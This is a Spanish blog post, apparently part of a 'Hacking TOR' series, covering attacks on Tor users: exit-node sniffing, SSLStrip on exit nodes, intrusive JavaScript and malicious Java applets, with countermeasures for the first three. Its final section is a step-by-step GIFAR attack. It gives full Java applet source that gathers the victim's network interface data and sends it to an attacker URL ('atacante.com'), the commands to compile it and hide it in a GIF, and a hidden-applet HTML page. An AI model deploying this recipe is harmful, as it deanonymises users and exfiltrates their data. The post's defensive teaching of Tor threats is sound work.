Preservando el Anonimato y Extendiendo su Uso – Hacking TOR – Parte XVII

Aunque TOR apoya el anonimato y la privacidad de sus usuarios por medio de canales seguros de comunicación utilizando mecanismos de cifrado fuertes, algunos usuarios pueden emplear esta red para realizar actividades insidiosas que van en contra de la filosofía que soporta su desarrollo, que es precisamente para proteger la privacidad y la información sensible de sus usuarios, al referirnos a “actividades insidiosas” nos referimos a actividades que abarcan el uso inapropiado de la red hasta el abuso de nodos de salida para “espiar” las comunicaciones de sus usuarios. Por esta razón, como usuarios de esta red es de vital importancia conocer cuales son los vectores de ataque más comunes que son empleados por “hackers” maliciosos y cuales son las medidas que pueden aplicarse para proteger la información que viaja entre los distintos nodos de la red.

A continuación se describen algunos de los mecanismos de ataque empleados

Nodo de Salida Malicioso – Sniffing

Se trata sin lugar a dudas del tipo de ataque más común en la red de TOR, su funcionamiento es muy sencillo, consiste en que un atacante crea un relay valido en la red de TOR tal y como se ha indicado en entradas anteriores, posteriormente todo el trafico de los usuarios de la red que utilicen dicho nodo de salida, enviarán todos sus paquetes a los nodos de la red TOR, incluyendo evidentemente, el nodo de salida del atacante, en este punto el atacante dispone de los paquetes que envían los usuarios a diferentes destinos, ahora bien, la comunicación entre todos los nodos de la red de TOR viaja cifrada, por tal motivo los nodos intermedios no disponen de información sobre los datos en texto plano que el usuario esta enviando, EXCEPTO cuando el nodo de salida envía dichos paquetes al destino final, es decir, toda la información que viaja entre el nodo de salida y el destino final viaja SIN ningún tipo de cifrado, evidentemente es una situación que un atacante puede aprovechar con mucha facilidad, ya que lo único que necesita hacer, es iniciar un sniffer como wireshark o tcpdump en la interfaz de red que se encarga de hacer entrega de los paquetes recibidos al destino final.

Se trata del ataque más sencillo que se puede llevar a cabo, dado que no necesita mucha experiencia ni conocimientos técnicos por parte del atacante, no obstante, se trata de un ataque pasivo y no dirigido hacia un usuario en particular, dado que el atacante una vez ha registrado su relay en TOR y ha iniciado su sniffer, debe esperar pacientemente mientras que se construye un circuito con su nodo de salida incluido, posteriormente, los usuarios que utilicen dicho circuito (que es generado de forma aleatoria) enviaran sus paquetes (que posiblemente contendrán datos sensibles como emails, usuarios claves, etc.) por medio del nodo de salida malicioso.

Contramedidas

Así como este ataque es el más sencillo de utilizar por parte de un atacante, es también uno de los sencillos de evitar por parte de un usuario, para evitar que la información sensible o de cualquier tipo sea capturada por la interfaz de red del atacante en el nodo de salida, se recomienda utilizar cifrado “end-to-end” esto quiere decir que se deben cifrar todos los paquetes que se envían desde el origen hacia el destino, (el cifrado lo realiza el cliente) utilizando, por ejemplo, HTTPS para realizar peticiones a sitios web (suponiendo que el servidor soporte SSL/TLS), también es posible utilizar SSH para cifrar todo el trafico, lo que es una practica común y muy recomendada. Cuando un cliente cifra su trafico desde el origen, el atacante podrá seguir capturando sus paquetes, pero no podrá ver nada “útil”, solamente los paquetes cifrados.

Nodo de Salida Malicioso – Utilizando SSLStrip

Partiendo del escenario anterior, un atacante podría utilizar SSLStrip con el fin de tratar de engañar al usuario haciéndole creer que esta consultando un sitio seguro, cuando en realidad la conexión viaja en texto claro, es una pequeña extensión del caso anterior, solo que adicionalmente, en el nodo de salida se envían todos los paquetes recibidos al puerto donde esta escuchando SSLStrip. Anteriormente se ha indicado el funcionamiento de esta herramienta, permite “cambiar” el protocolo para realizar peticiones a sitios web seguros, a menos que el usuario indique de forma explicita “https” en la petición, por ejemplo, cuando se ingresa en el navegador web la ruta “gmail.com” por brevedad, si la petición no esta interceptada y tratada con SSLStrip, de forma automática se va a poner en la barra del navegador “https://www.gmail.com” en el caso de que la conexión se encuentre interceptada con SSLStrip, no se realizará la conexión cifrada con HTTPS, en su lugar se utilizará HTTP y los datos viajarán en texto plano, permitiendole a SSLStrip capturar dichos datos.

El procedimiento realizado por un atacante es muy sencillo, consiste en permitir a su máquina actuar como “router” de las peticiones que le son enviadas por medio del parámetro del sistema operativo correspondiente

NOTA: También es posible (y muchas veces recomendable utilizar FragRoute en lugar de activar esta característica a nivel de sistema operativo)

Posteriormente se debe iniciar SSLStrip

Y finalmente cualquier petición cuyo destino sea un servidor web (puerto 80 por defecto) debe ser redireccionado al puerto de SSLStrip para que este a su vez, realice las operaciones que debe llevar a cabo.

Lo único que debe hacer el atacante ahora, es esperar y realizar revisiones periódicas de los logs generados por SSLStrip en busca de usuarios, passwords y otra información valiosa.

Contramedidas

Anteriormente se ha indicado el uso de TorTunnel solamente con la aplicación torproxy que permitía realizar una conexión de forma directa a un nodo de salida existente en la red de TOR, no obstante existe otra herramienta adicional en dicho paquete que permite determinar cuando el nodo de salida de la red de TOR que el cliente se encuentra utilizando, tiene en ejecución una instancia de SSLStrip, su funcionamiento es sencillo, simplemente envía una página que debería ser tratada por HTTPS (como en el caso anterior con gmail.com) y retorna la respuesta desde el nodo de salida, en el caso de que en los logs de la aplicación se aprecie una sustitución de HTTPS por HTTP se puede determinar que en el nodo de salida existe una herramienta como SSLStrip en ejecución y que debería ser evitado utilizando opciones de configuración tales como ExcludeExitNodes que se verá más adelante en próximas entradas.

Por otro lado, para evitar esto, también es necesario indicar de forma explicita el protocolo HTTPS y comprobar siempre que se utiliza, efectivamente, HTTPS en lugar de HTTP, para esto la observación detenida es la mejor arma, no obstante también ayuda para tal fin el uso de la extensión de firefox HTTPS Everywhere.

Sitios web intrusivos con JavaScript

Una de las amenazas más frecuentes contra el anonimato de un usuario en la red de TOR, es precisamente la capacidad que tiene JavaScript de consultar información contenida en el navegador del usuario que realiza una petición a un determinado sitio web, por ejemplo, es posible que un sitio web intente determinar información privada almacenada en el navegador web del usuario consultando cookies, historial de navegación y datos relativos con la maquina del cliente. Algunos scripts de ejemplo que pueden realizar tales acciones son por ejemplo

Consultando propiedades del navegador del cliente

<script type="text/javascript">

info = "Navegador CodeName: " + navigator.appCodeName + "</p>";
 info+= "Navegador Name: " + navigator.appName + "</p>";
 info+= "<p>Navegador Version: " + navigator.appVersion + "</p>";
 info+= "<p>Cookies Activadas?: " + navigator.cookieEnabled + "</p>";
 info+= "<p>Plataforma: " + navigator.platform + "</p>";
 info+= "<p>User-agent header: " + navigator.userAgent + "</p>";

alert(info);

</script>

Consultando propiedades sobre la resolución de pantalla del cliente

<script type="text/javascript">

screen = "Total width/height: "+screen.width + "*" + screen.height;

screen+="Disponible width/height: "+screen.availWidth + "*" + screen.availHeight;

document.write("Color depth: "+screen.colorDepth;

document.write("Color resolucion: "+screen.pixelDepth;

</script>

Consultando el historial del cliente

<script type="text/javascript">

for(i=0;i<window.history.length; i++)

{

alert(window.history[i]);

}

</script>

Contramedidas

El uso de TorButton en estos casos, es indispensable ya que bloquea la mayoría de estos ataques, ademas también es recomendable utilizar las extensiones de firefox indicadas en entradas anteriores que permitirán bloquear scripts que puedan ser maliciosos y atenten contra la privacidad de la información almacenada en el navegador.

En muchos casos, algunos sitios web no son “útiles” a menos que se utilice JavaScript, lo que muchos usuarios de TOR hacen ante tales casos, es simplemente desactivar temporalmente algunas de las extensiones de Firefox que bloquean dichos elementos, esto no es una buena practica, ya que el contenido bloqueado puede tener algún script que consulte información privada del navegador y posteriormente la registre en el sitio web, por este motivo, se recuerda a los usuarios que es una buena practica tener dos navegadores web de forma independiente en casos en los que sea necesario navegar por un sitio determinado pero que no sea posible hacerlo con los add-ons y extensiones de firefox activados, o bien, inspeccionar el contenido de la página web en cuestión y asegurarse que el código JavaScript incluido no realiza ningún tipo de actividad “insidiosa” y en el caso de estar seguro de que esta “limpio” de cualquier tipo de amenaza que pueda resultar en una fuga de información, desactivar dichas extensiones solo para dicho sitio web.

Además de las amenazas que pueden representar para el anonimato la ejecución no controlada de scripts JavaScript, también existen otras técnicas que emplean los atacantes para recuperar información sensible relacionada con un usuario de la red TOR, por ejemplo el uso de tecnología Java

Sitios web intrusivos con Java

Del mismo modo que se pueden utilizar scripts de JavaScript para obtener fácilmente información relacionada con un usuario utilizando la red de TOR, utilizando tecnología Java se puede obtener una gran cantidad de información relacionada con el usuario, en concreto se pueden utilizar Applets de Java que permitirán acceder de forma directa a información personal del usuario, e incluso, dadas las capacidades que dispone Java para entornos de red, ejecutar peticiones a otros sitios en internet (sin conocimiento del cliente evidentemente) evadiendo el paso por la red de TOR (o incluso pasando por dicha red).

Una técnica empleada con frecuencia para conseguir tal objetivo es la creación de applets maliciosos conocidos como GIFAR y PDFAR que consisten en la combinación de imágenes GIF con ficheros JAR que normalmente contienen el código de dichos applets por eso se nombran GIFAR (GIF + JAR), los PDFAR tienen la misma estructura, solamente que en lugar de utilizar una imagen para embeber el fichero JAR del applet, se utiliza un fichero PDF.

La creación de un GIFAR/PDFAR es simple, solamente es necesario conocer un poco sobre tecnología Java, a continuación se indicará un ejemplo de ataque utilizando la API de Java para acceder a información del cliente relacionada con las interfaces de red, los pasos para esto son los siguientes:

1. Crear el applet Java que se ejecutará en la máquina del cliente, en este caso, el applet recolectará toda la información disponible sobre las interfaces de red del cliente, incluyendo direcciones IP, mascaras de red, etc. Posteriormente se procede a conectarse con un sitio web (utilizando protocolo HTTP)
   

   import javax.swing.JApplet; import java.awt.Graphics; import java.net.NetworkInterface; import java.net.InterfaceAddress; import java.net.InetAddress; import java.net.HttpURLConnection; import java.net.URL; import java.util.List; import java.util.Enumeration; import java.nio.*; import java.io.DataOutputStream;/** * Gifar Applet. */ public class Gifar extends JApplet { static final long serialVersionUID = 0; public void init() { HttpURLConnection http = null; try { String peticion = getParameter("peticionAtacante"); StringBuffer cliente = new StringBuffer(); Enumeration e = NetworkInterface.getNetworkInterfaces(); int direccionDetectada = 1; while(e.hasMoreElements()) { NetworkInterface ni = (NetworkInterface) e.nextElement(); cliente.append("INTERFAZ DE RED DETECTADA, Inicio de Traza..."); cliente.append("\nDIRECCIÓN DETECTADA NÚMERO: "+direccionDetectada); cliente.append("\nNet interface: "+ni.getName()); cliente.append("\nMAC: "+ni.getHardwareAddress()+""); cliente.append("\nMTU: "+ni.getMTU()); cliente.append("\nPoint to Point? "+ni.getMTU()); cliente.append("\nes UP? "+ni.isUp()); cliente.append("\nes Virtual? "+ni.isVirtual()); cliente.append("\nSoporta Multicast? "+ni.supportsMulticast() ); List<InterfaceAddress> subSetIface = ni.getInterfaceAddresses(); for(InterfaceAddress interfaceAddress : subSetIface) { cliente.append("\n --- BROADCAST: "+interfaceAddress.getBroadcast()); cliente.append("\n --- MASCARA DE SUBRED "+interfaceAddress.getNetworkPrefixLength()); } cliente.append("\nFin de Traza...\n\n\n"); direccionDetectada = direccionDetectada+1; } URL rutaPeticion = new URL(peticion); http = (HttpURLConnection)rutaPeticion.openConnection(); http.setRequestProperty("Content-type", "text/html"); http.setUseCaches(false); http.setDoOutput(true); http.setDoInput(true); http.setRequestMethod("GET"); DataOutputStream wr = new DataOutputStream (http.getOutputStream ()); wr.writeBytes (cliente.toString()); wr.flush (); wr.close (); } catch(Exception ex) { System.out.println("Excepción: "+ex.getMessage()); } finally { if(http != null) { http.disconnect(); } } } }

   Como puede apreciarse de la clase anterior, el applet declarado intentará recuperar en primer lugar un parámetro que representa el sitio del atacante, donde este a su vez, podrá registrar los datos recolectados por el applet, posteriormente el applet intenta consultar información relacionada con las interfaces de red del cliente y posteriormente abre una conexión HTTP con el sitio remoto del atacante, enviándole una cadena de texto con toda la información recolectada.

2. Ahora bien, el primer paso es compilar dicha clase y posteriormente crear el fichero JAR que tomará el applet para su ejecución
   

   >javac Gifar.java >jar -cf Gifar.jar Gifar.class

3. Una vez se ha compilado y empaquetado la clase del applet, se crea el GIFAR propiamente dicho, concatenando los flujos de ambos ficheros (GIF y JAR) es tan sencillo como utilizar el comando “cat” y redireccionar la salida a un fichero nuevo del siguiente modo
   

   >cat imagen.gif Gifar.jar > GifarImage.gif

   Comparando los tamaños del fichero original “imagen.gif” con el fichero generado “GifarImage.gif” se podrá notar la diferencia, que básicamente se encuentra en el tamaño del JAR generado

   >cat imagen.gif Gifar.jar > GifarImage.gif

4. Finalmente, debe existir un sitio web que hospede el applet, el contenido de la página más simple para tal fin puede ser el siguiente
   

   <html> <head> <title>Programa Simple</title> </head> <body> <applet code="Gifar.class" archive="GifarImage.gif" width=0 height=0> <param name="peticionAtacante" value="http://www.atacante.com/paginaRegistro" /> </applet> </body> <p lang="es-ES"><span style="font-family: Courier New,monospace;"><span style="font-size: x-small;"></html></span></span></p> <p lang="es-ES">

   Como puede verse, el atributo “archive” asume el valor de “GifarImage.gif” que es donde se encuentra el applet, (el cual a su vez, es una imagen). Por otro lado se establece el parámetro necesario para la ejecución del applet, en este caso el parámetro “peticionAtacante”contiene la ruta que debe registrar toda la información que se le envíe desde el applet.